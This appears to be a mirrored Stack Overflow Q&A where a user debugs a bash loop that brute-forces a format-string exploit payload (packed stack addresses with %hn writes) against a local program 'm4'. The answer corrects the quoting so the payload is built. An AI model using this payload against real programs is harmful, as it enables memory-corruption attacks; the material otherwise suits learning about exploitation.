Domanda

I'm having some problem with my shell script:

I want to run my program m4 with different kind of string, I wrote down this script:

#!/bin/bash

for number in $( seq 16 253 )
  do
    num=$((number+2))
    hex_base=$( printf "%X" ${number} )
    hex_offset=$( printf "%X" ${num} )
    ./m4 "`python -c 'print "\x66\x66\x${hex_offset}\xed\xff\xbf\x${hex_base}\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
done

It counts from 10 to FD in hexadecimal and put this values in my string. This error appears:

ValueError: invalid \x escape

First question: is this a real error or just a warning? Second question: why if all the value are made of two characters in the address you should see in the string, the error however appears?

È stato utile?

Soluzione

Should work when you take the hex_base out of single quotes:

./m4 "`python -c 'print "\x66\x66\x'${hex_offset}'\xed\xff\xbf\x'${hex_base}'\xed\xff\xbf%49135c%88$hn%14153c%89$hn"'`"
Autorizzato sotto: CC-BY-SA insieme a attribuzione
Non affiliato a StackOverflow
scroll top